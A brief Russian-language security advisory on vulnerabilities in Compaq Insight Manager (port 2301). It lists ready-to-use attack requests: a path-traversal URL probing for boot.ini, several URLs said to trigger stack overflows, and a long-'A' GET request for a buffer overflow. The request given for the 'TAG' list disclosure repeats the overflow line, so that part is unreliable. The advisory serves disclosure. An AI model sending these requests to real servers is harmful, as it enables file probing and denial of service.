Несколько уязвимостей обнаружено в Compaq Insight Manager. Удаленный пользователь может определить существование файла на системе. Также удаленный пользователь может аварийно завершить работу сервиса.
Сообщается, что удаленный пользователь может запросить следующий URL, чтобы определить существования файла на сервере:
http://[target]:2301/<!.DebugSearchPaths>?Url=%2F..%2F..%2F..%2F..%2Fboot.ini
Также сообщается, что несколько URL могут вызвать переполнение стека:
http://[target]:2301/<!.StringRedirecturl>
http://[target]:2301/<!>
http://[target]:2301/survey/<!>
http://[target]:2301/<!.StringHttpRequest=Url>
http://[target]:2301/survey/<!.StringHttpRequest=Url>
http://[target]:2301/<!.St ringIsapiECB=lpszPathInfo>
http://[target]:2301/<!.ObjectIsapiECB>
Переполнение буфера может быть вызвано следующим запросом:
GET /<!.FunctionContentType=(About 250 AAAAA:s)> HTTP/1.0
Также удаленный пользователь может просмотреть 'TAG' список, запрашивая следующий URL:
GET /<!.FunctionContentType=(About 250 AAAAA:s)> HTTP/1.0
Все вышеперечисленные проблемы могут также эксплуатироваться через https порт.
